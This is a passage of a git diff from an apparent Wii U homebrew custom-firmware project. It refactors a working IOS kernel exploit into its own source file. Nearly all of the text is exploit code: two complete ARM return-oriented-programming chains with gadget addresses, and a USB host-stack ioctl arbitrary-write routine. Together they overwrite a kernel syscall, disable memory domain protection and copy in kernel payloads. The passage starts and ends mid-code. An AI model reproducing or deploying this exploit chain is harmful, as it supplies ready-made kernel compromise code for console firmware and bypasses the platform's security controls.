{R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(ios_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x00140000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x00130000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config) +{ + ayylmao[5] = 1; + ayylmao[8] = 0x500000; + + memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); + + payload_info_t *payloads = (payload_info_t*)0xF4148000; + + payloads->size = sizeof(cfw_config_t); + memcpy(payloads->data, config, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + payloads->size = sizeof(ios_usb_bin); + memcpy(payloads->data, ios_usb_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->redNAND) + { + payloads->size = sizeof(ios_fs_bin); + memcpy(payloads->data, ios_fs_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->seeprom_red) + { + payloads->size = sizeof(ios_bsp_bin); + memcpy(payloads->data, ios_bsp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + } + + payloads->size = sizeof(ios_mcp_bin); + memcpy(payloads->data, ios_mcp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->launchImage) + { + FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb"); + if(pFile) + { + fseek(pFile, 0, SEEK_END); + payloads->size = ftell(pFile); + fseek(pFile, 0, SEEK_SET); + fread(payloads->data, 1, payloads->size, pFile); + fclose(pFile); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + else + { + payloads->size = launch_image_tga_size; + memcpy(payloads->data, launch_image_tga, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + } + + pretend_root_hub[33] = 0x500000; + pretend_root_hub[78] = 0; + + DCStoreRange(pretend_root_hub + 33, 200); + DCStoreRange((void*)0xF4120000, sizeof(second_chain)); + DCStoreRange((void*)0xF4130000, sizeof(final_chain)); + DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); + DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000); +} + +static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) +{ + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) + OSSleepTicks(0x200000); //! Improves stability + int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} + +int ExecuteIOSExploit(cfw_config_t * config) +{ + int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); + if(iosuhaxFd < 0) + { + //! execute exploit + int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); + if(dev_uhs_0_handle < 0) + return dev_uhs_0_handle; + + uhs_exploit_init(dev_uhs_0_handle, config); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); + + uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); + } + else + { + //! do not run patches again as that will most likely crash + //! because the wupserver and the iosuhax dev node are still running + //! just relaunch IOS with new configuration + IOS_Close(iosuhaxFd); + } + return 0; +} diff --git a/src/ios_exploit.h b/src/ios_exploit.h new file mode 100644 index 0000000..41e56d2 --- /dev/null +++ b/src/ios_exploit.h @@ -0,0 +1,16 @@ +#ifndef _IOS_EXPLOIT_H_ +#define _IOS_EXPLOIT_H_ + +#include "cfw_config.h" + +#ifdef __cplusplus +extern "C" { +#endif + +int ExecuteIOSExploit(cfw_config_t * config); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/main.c b/src/main.c index a71d859..95f7a56 100644 --- a/src/main.c +++ b/src/main.c @@ -19,297 +19,9 @@ #include "common/common.h" #include "menu.h" #include "main.h" +#include "ios_exploit.h" -#define ALIGN4(x) (((x) + 3) & ~3) - -#define CHAIN_START 0x1016AD40 -#define SHUTDOWN 0x1012EE4C -#define SIMPLE_RETURN 0x101014E4 -#define SOURCE (0x120000) -#define IOS_CREATETHREAD 0x1012EABC -#define ARM_CODE_BASE 0x08135000 -#define REPLACE_SYSCALL 0x081298BC - -extern const u8 launch_image_tga[]; -extern const u32 launch_image_tga_size; - -static void uhs_exploit_init(int uhs_handle, cfw_config_t * config); -static int uhs_write32(int uhs_handle, int arm_addr, int val); - -/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ -#include "../ios_kernel/ios_kernel.bin.h" -#include "../ios_usb/ios_usb.bin.h" -#include "../ios_fs/ios_fs.bin.h" -#include "../ios_bsp/ios_bsp.bin.h" -#include "../ios_mcp/ios_mcp.bin.h" - - -/* ROP CHAIN STARTS HERE (0x1015BD78) */ -static const int final_chain[] = { - 0x101236f3, // 0x00 POP {R1-R7,PC} - 0x0, // 0x04 arg - 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR - 0x68, // 0x0C stacksize - 0x10101638, // 0x10 - 0x0, // 0x14 - 0x0, // 0x18 - 0x0, // 0x1C - 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x30 - 0x0, // 0x34 - IOS_CREATETHREAD, // 0x38 - 0x1, // 0x3C - 0x2, // 0x40 - 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE92D4010, // 0x4C value: PUSH {R4,LR} - 0x0, // 0x50 - 0x10123a8b, // 0x54 POP {R3,R4,PC} - 0x1, // 0x58 R3 must be 1 for the arbitrary write - 0x0, // 0x5C - 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x64 - 0x0, // 0x68 - 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) - 0x0, // 0x70 - 0x0, // 0x74 - 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A04000, // 0x80 value: MOV R4, R0 - 0x0, // 0x84 - 0x10123a8b, // 0x88 POP {R3,R4,PC} - 0x1, // 0x8C R3 must be 1 for the arbitrary write - 0x0, // 0x90 - 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x98 - 0x0, // 0x9C - 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) - 0x0, // 0xA4 - 0x0, // 0xA8 - 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF - 0x0, // 0xB8 - 0x10123a8b, // 0xBC POP {R3,R4,PC} - 0x1, // 0xC0 R3 must be 1 for the arbitrary write - 0x0, // 0xC4 - 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0xCC - 0x0, // 0xD0 - 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) - 0x0, // 0xD8 - 0x0, // 0xDC - 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) - 0x0, // 0xEC - 0x10123a8b, // 0xF0 POP {R3,R4,PC} - 0x1, // 0xF4 R3 must be 1 for the arbitrary write - 0x0, // 0xF8 - 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x100 - 0x0, // 0x104 - 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) - 0x0, // 0x10C - 0x0, // 0x110 - 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A00004, // 0x11C value: MOV R0, R4 - 0x0, // 0x120 - 0x10123a8b, // 0x124 POP {R3,R4,PC} - 0x1, // 0x128 R3 must be 1 for the arbitrary write - 0x0, // 0x12C - 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x134 - 0x0, // 0x138 - 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) - 0x0, // 0x140 - 0x0, // 0x144 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x00000000, // 0x150 value: NOP - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x1AFFFFFD, // 0x150 value: BNE clean_loop - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A03004, // 0x184 value: MOV R3, R4 - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE8BD4010, // 0x184 value: POP {R4,LR} - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) - 0x0, // 0x1BC - 0x10123a8b, // 0x1C0 POP {R3,R4,PC} - 0x1, // 0x1C4 R3 must be 1 for the arbitrary write - 0x0, // 0x1C8 - 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x1D0 - 0x0, // 0x1D4 - 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 - 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches - 0x0, // 0x1E0 - 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - ARM_CODE_BASE, // 0x1E8 our code destination address - 0x0, // 0x1EC - 0x0, // 0x1F0 - 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} - 0x0, // 0x1F8 - sizeof(ios_kernel_bin), // 0x1FC our code size - 0x0, // 0x200 - 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} - 0x00140000, // 0x208 our code source location - 0x08131D04, // 0x20C KERNEL_MEMCPY address - 0x0, // 0x210 - 0x0, // 0x214 - 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) - 0x0, - 0x0, - 0x101312D0, -}; - -static const int second_chain[] = { - 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} - CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination - 0x0, // 0x08 - 0x0, // 0x0C - 0x101063db, // 0x10 POP {R1,R2,R5,PC} - 0x00130000, // 0x14 source - sizeof(final_chain), // 0x18 length - 0x0, // 0x1C - 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x101236f3, // 0x2C POP {R1-R7,PC} - 0x0, // 0x30 arg - 0x101001DC, // 0x34 stackptr - 0x68, // 0x38 stacksize - 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x40 - 0x0, // 0x44 - 0x0, // 0x48 - 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x50 - 0x0, // 0x54 - 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x5C - 0x0, // 0x60 - IOS_CREATETHREAD, // 0x64 - 0x1, // 0x68 priority - 0x2, // 0x6C flags - 0x0, // 0x70 - 0x0, // 0x74 - 0x101063db, // 0x78 POP {R1,R2,R5,PC} - 0x0, // 0x7C - -(0x240 + 0x18 + 0xF000), // 0x80 stack offset - 0x0, // 0x84 - 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} - 0x0, - 0x0, - 0x0, - 0x00110000 - 0x44, // 0x8C - 0x00110010, // 0x90 - 0x0, // 0x94 - 0x0, // 0x98 - 0x0, // 0x9C - 0x0, // 0xA0 - 0x0, // 0xA4 - 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack - 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} - 0x0, - 0x0, - 0x1012EA68, // 0xAC stack pivot -}; +static int exitToHBLOnLaunch = 0; int Menu_Main(void) { @@ -317,8 +29,24 @@ int Menu_Main(void) InitOSFunctionPointers(); InitSysFunctionPointers(); InitFSFunctionPointers(); + InitSocketFunctionPointers(); InitVPadFunctionPointers(); + u64 currenTitleId = OSGetTitleID(); + + // in case we are not in mii maker or HBL channel but in system menu or another channel we need to exit here + if (currenTitleId != 0x000500101004A200 && // mii maker eur + currenTitleId != 0x000500101004A100 && // mii maker usa + currenTitleId != 0x000500101004A000 && // mii maker jpn + currenTitleId != 0x0005000013374842) // HBL channel + { + return EXIT_RELAUNCH_ON_LOAD; + } + else if(exitToHBLOnLaunch) + { + return 0; + } + VPADInit(); int forceMenu = 0; @@ -346,130 +74,29 @@ int Menu_Main(void) launch = ShowMenu(&config); } - if(!launch) - { - unmount_sd_fat("sd"); - return 0; - } + int returnCode = 0; - int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); - if(iosuhaxFd < 0) + if(launch) { - //! execute exploit - int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); - if(dev_uhs_0_handle < 0) + int res = ExecuteIOSExploit(&config); + if(res == 0) { - unmount_sd_fat("sd"); - return 0; + if(config.noIosReload == 0) + { + OSForceFullRelaunch(); + SYSLaunchMenu(); + returnCode = EXIT_RELAUNCH_ON_LOAD; + } + else if(config.launchSysMenu) + { + SYSLaunchMenu(); + exitToHBLOnLaunch = 1; + returnCode = EXIT_RELAUNCH_ON_LOAD; + } } - - uhs_exploit_init(dev_uhs_0_handle, &config); - uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); - uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); - uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); - - uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} - - IOS_Close(dev_uhs_0_handle); - } - else - { - //! do not run patches again as that will most likely crash - //! because the wupserver and the iosuhax dev node are still running - //! just relaunch IOS with new configuration - IOS_Close(iosuhaxFd); } unmount_sd_fat("sd"); - OSForceFullRelaunch(); - SYSLaunchMenu(); - return EXIT_RELAUNCH_ON_LOAD; -} - -//!------Variables used in exploit------ -static int *pretend_root_hub = (int*)0xF5003ABC; -static int *ayylmao = (int*)0xF4500000; -//!------------------------------------- - -typedef struct -{ - u32 size; - u8 data[0]; -} payload_info_t; - -static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config) -{ - ayylmao[5] = 1; - ayylmao[8] = 0x500000; - - memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); - memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); - memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); - - payload_info_t *payloads = (payload_info_t*)0xF4148000; - - payloads->size = sizeof(cfw_config_t); - memcpy(payloads->data, config, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - - payloads->size = sizeof(ios_usb_bin); - memcpy(payloads->data, ios_usb_bin, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - - if(config->redNAND) - { - payloads->size = sizeof(ios_fs_bin); - memcpy(payloads->data, ios_fs_bin, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - - if(config->seeprom_red) - { - payloads->size = sizeof(ios_bsp_bin); - memcpy(payloads->data, ios_bsp_bin, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - } - } - - payloads->size = sizeof(ios_mcp_bin); - memcpy(payloads->data, ios_mcp_bin, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - - if(config->launchImage) - { - FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb"); - if(pFile) - { - fseek(pFile, 0, SEEK_END); - payloads->size = ftell(pFile); - fseek(pFile, 0, SEEK_SET); - fread(payloads->data, 1, payloads->size, pFile); - fclose(pFile); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - } - else - { - payloads->size = launch_image_tga_size; - memcpy(payloads->data, launch_image_tga, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - } - } - - pretend_root_hub[33] = 0x500000; - pretend_root_hub[78] = 0; - - DCStoreRange(pretend_root_hub + 33, 200); - DCStoreRange((void*)0xF4120000, sizeof(second_chain)); - DCStoreRange((void*)0xF4130000, sizeof(final_chain)); - DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); - DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000); -} - -static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) -{ - ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes - DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) - OSSleepTicks(0x200000); //! Improves stability - int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 - int output_buffer[32]; - return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); + + return returnCode; } diff --git a/src/menu.c b/src/menu.c index 927cfd9..50bb5e3 100644 --- a/src/menu.c +++ b/src/menu.c @@ -36,7 +36,8 @@ #include "dynamic_libs/socket_functions.h" #include "cfw_config.h" -#define MAX_CONFIG_SETTINGS 7 +#define MAX_CONFIG_SETTINGS_EXPERT 9 +#define MAX_CONFIG_SETTINGS_DEFAULT (MAX_CONFIG_SETTINGS_EXPERT - 3) #define TEXT_SEL(x, text1, text2) ((x) ? 